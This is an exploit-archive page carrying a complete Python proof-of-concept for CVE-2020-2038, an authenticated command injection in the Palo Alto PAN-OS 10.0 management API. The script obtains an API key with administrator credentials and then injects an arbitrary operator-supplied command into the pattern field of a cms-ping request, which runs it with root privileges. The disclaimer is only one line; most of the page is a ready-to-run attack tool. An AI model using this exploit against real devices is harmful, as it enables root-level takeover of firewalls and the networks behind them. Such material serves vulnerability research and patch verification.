Panos 10.0 remote code execution (rce) (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-08-09 | Type : remote | Platform : multiple
This exploit / vulnerability Panos 10.0 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-08-13
# Exploit Author: UnD3sc0n0c1d0
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038
# Category: Web Application
# Version: <10.0.1, <9.1.4 and <9.0.10
# Tested on: PAN-OS 10.0 - Parrot OS
# CVE : CVE-2020-2038
#
# Description:
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
# administrators to execute arbitrary OS commands with root privileges.
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.

#!/usr/bin/env python3

import requests
import urllib3
import sys
import getopt
import xmltodict

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
print('\n###########################################################################')
print('# Proof of Concept for CVE-2020-2038 #')
print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #')
print('# Positive Technologies #')
print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')
print('# #')
print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')
print('###########################################################################')

def exploit(target,user,password,command):
apiparam = {'type': 'keygen', 'user': user, 'password': password}
apiresponse = requests.get(target+'api/', params=apiparam, verify=False)
xmlparse = xmltodict.parse(apiresponse.content)
apikey = xmlparse['response']['result']['key']
payload = '<cms-ping><host>8.8.8.8</host><count>1</count><pattern>111<![CDATA[||'+command+'||]]></pattern></cms-ping>'
parameters = {'cmd': payload, 'type': 'op', 'key': apikey}
response = requests.get(target+'api', params=parameters, verify=False)
print(response.text[50:-20])

def usage():
print('\nusage: CVE-2020-2038.py\n\n')
print('arguments:')
print(' -h show this help message and exit')
print(' -t target URL (ex: http://vulnerable.host/)')
print(' -u target administrator user')
print(' -p pasword of the defined user account')
print(' -c command you want to execute on the target\n')

def main(argv):
if len(sys.argv) < 9:
banner()
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv,"ht:u:p:c:")
except getopt.GetoptError:
banner()
usage()
sys.exit()
for opt, arg in opts:
if opt == '-h':
usage()
sys.exit()
if opt == '-t':
target = arg
if opt == '-u':
user = arg
if opt == '-p':
password = arg
if opt == '-c':
command = arg
banner()
exploit(target,user,password,command)
sys.exit()

if __name__ == "__main__":
try:
main(sys.argv[1:])
except KeyboardInterrupt:
print('Interrupted by users...')
except:
sys.exit()